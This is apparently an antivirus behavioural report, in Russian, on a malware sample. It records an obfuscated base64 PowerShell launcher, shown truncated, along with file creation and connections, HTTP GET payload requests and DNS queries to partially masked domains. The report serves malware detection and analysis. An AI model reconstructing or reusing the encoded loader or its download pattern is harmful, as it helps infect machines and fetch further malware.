Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1508
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\833419.cvr
Сетевая активность
Подключается к
- 'ro####oundup.com':80
- 'ro####oundup.com':443
- 'ri##m.com':80
- 'ri##m.com':443
- 'ex###um.com.br':80
- 'sc####inepvc.com':80
- 'm3###lth.com':80
- 'm3###lth.com':443
TCP
Запросы HTTP GET
- http://ro####oundup.com/css/98Y1F8/
- http://ri##m.com/wp-content/sW/
- http://ex###um.com.br/Folder_Lean_Jun/0/
- http://sc####inepvc.com/test/dDS/
- http://m3###lth.com/mt-content/UskDK/
Другие
- 'ro####oundup.com':443
- 'ri##m.com':443
- 'm3###lth.com':443
UDP
- DNS ASK av####oolvsa.zt.ua
- DNS ASK ro####oundup.com
- DNS ASK ri##m.com
- DNS ASK ro###otto.com
- DNS ASK ex###um.com.br
- DNS ASK sc####inepvc.com
- DNS ASK m3###lth.com
Другое
Запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABFADMANwB6AGcAagBlAD0AKAAnAFQAJwArACcAMgA0ACcAKwAnADkAagB1AHgAJwApADsALgAoACcAbgBlAHcALQAnACsAJwBpAHQAZQAnACsAJwBtACcAKQAgACQAZQBuAFYAOgB0AEUAbQBQAFwAbwBGAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AG... (со скрытым окном)
